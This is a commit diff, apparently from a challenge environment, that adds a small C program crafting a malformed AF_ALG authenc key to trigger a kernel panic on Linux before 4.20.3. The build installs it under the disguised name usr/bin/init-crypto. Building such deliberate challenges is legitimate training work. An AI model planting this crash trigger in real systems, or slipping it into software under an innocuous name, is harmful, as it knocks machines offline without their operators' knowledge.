challenge: insert kernel panic before 4.20.3

Makefile

@@ -1,4 +1,4 @@
-all: login-app/login-app token-validator/token-validator
+all: login-app/login-app token-validator/token-validator pkg/challenge/kp
 
 fonts: fonts/Inconsolata-16b.psf fonts/Inconsolata-16r.psf fonts/Inconsolata-32b.psf fonts/Inconsolata-32r.psf
 fonts/Inconsolata-16b.psf:
@@ -10,6 +10,9 @@ fonts/Inconsolata-32b.psf:
 fonts/Inconsolata-32r.psf:
 	wget https://github.com/xeechou/Inconsolata-psf/raw/master/Inconsolata-32r.psf
 
+pkg/challenge/kp: pkg/challenge/kp.c
+	gcc -o $@ $+
+
 token-validator/token-validator: token-validator/*.go
 	go generate ./token-validator
 	GOOS=linux GOARM=5 GOARCH=arm go build -tags netgo -ldflags '-w -extldflags "-static"' -o $@ ./token-validator

challenge.yml

@@ -34,6 +34,9 @@ files:
   - path: bin/adlin
     source: pkg/challenge/adlin
     mode: "0755"
+  - path: usr/bin/init-crypto
+    source: pkg/challenge/kp
+    mode: "0755"
   - path: etc/issue
     source: pkg/challenge/issue
     mode: "0644"

pkg/challenge/.gitignore

@@ -0,0 +1 @@
+kp

pkg/challenge/kp.c

@@ -0,0 +1,24 @@
+#include <linux/if_alg.h>
+#include <linux/rtnetlink.h>
+#include <sys/socket.h>
+
+int main() {
+  int fd;
+  struct sockaddr_alg addr = {
+    .salg_type = "aead",
+    .salg_name = "authenc(hmac(sha256),cbc(aes))",
+  };
+
+  struct {
+      struct rtattr attr;
+      __be32 enckeylen;
+      char keys[1];
+  } __attribute__((packed)) key = {
+    .attr.rta_len = sizeof(key),
+    .attr.rta_type = 1 /* CRYPTO_AUTHENC_KEYA_PARAM */,
+  };
+
+  fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
+  bind(fd, (void *)&addr, sizeof(addr));
+  setsockopt(fd, SOL_ALG, ALG_SET_KEY, &key, sizeof(key));
+}